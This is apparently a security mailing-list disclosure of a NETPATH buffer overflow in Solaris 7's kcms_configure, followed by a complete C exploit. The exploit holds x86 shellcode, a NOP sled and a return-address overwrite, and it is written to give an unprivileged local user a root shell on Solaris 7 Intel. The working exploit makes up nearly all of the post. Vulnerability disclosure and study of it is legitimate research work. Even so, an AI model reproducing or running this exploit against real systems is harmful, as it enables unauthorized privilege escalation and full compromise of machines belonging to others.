another hole of Solaris7 kcms_configure

[shadowpenguin () BACKSECTION NET (UNYUN)]

Hello

kcms_configure has a overflow bug with "-P" option and it has been
reported(107339-01). But, this program has another hole.
kcms_configure overflows if long string is specified in NETPATH
environment, it is exploitable. I coded an exploit for Solaris7 intel
edition to obtain a root privilege.

------ ex_kcms_configure86.c
/*=============================================================================
   kcms_configure Exploit for Solaris7 Intel Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin () backsection net)
  =============================================================================
*/

#define ENV     "NETPATH="
#define MAXBUF  3000
#define RETADR  2088
#define RETOFS  0xad0
#define FAKEADR 2076
#define NOP 0x90

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";

main()
{
    char            buf[MAXBUF];
    unsigned int    i,ip,sp;

    putenv("LANG=");
    sp=get_sp();
    printf("ESP=0x%x\n",sp);

    memset(buf,NOP,MAXBUF);

    ip=sp;
    buf[FAKEADR  ]=ip&0xff;
    buf[FAKEADR+1]=(ip>>8)&0xff;
    buf[FAKEADR+2]=(ip>>16)&0xff;
    buf[FAKEADR+3]=(ip>>24)&0xff;

    ip=sp-RETOFS;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;

    strncpy(buf+2500,exploit_code,strlen(exploit_code));

    strncpy(buf,ENV,strlen(ENV));
    buf[MAXBUF-1]=0;
    putenv(buf);

    execl("/usr/openwin/bin/kcms_configure","kcms_configure","1",0);
}

-----
UNYUN
% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]
   shadowpenguin () backsection net (webmaster)
% eEye Digital Security Team [ http://www.eEye.com ]
   unyun () eEye com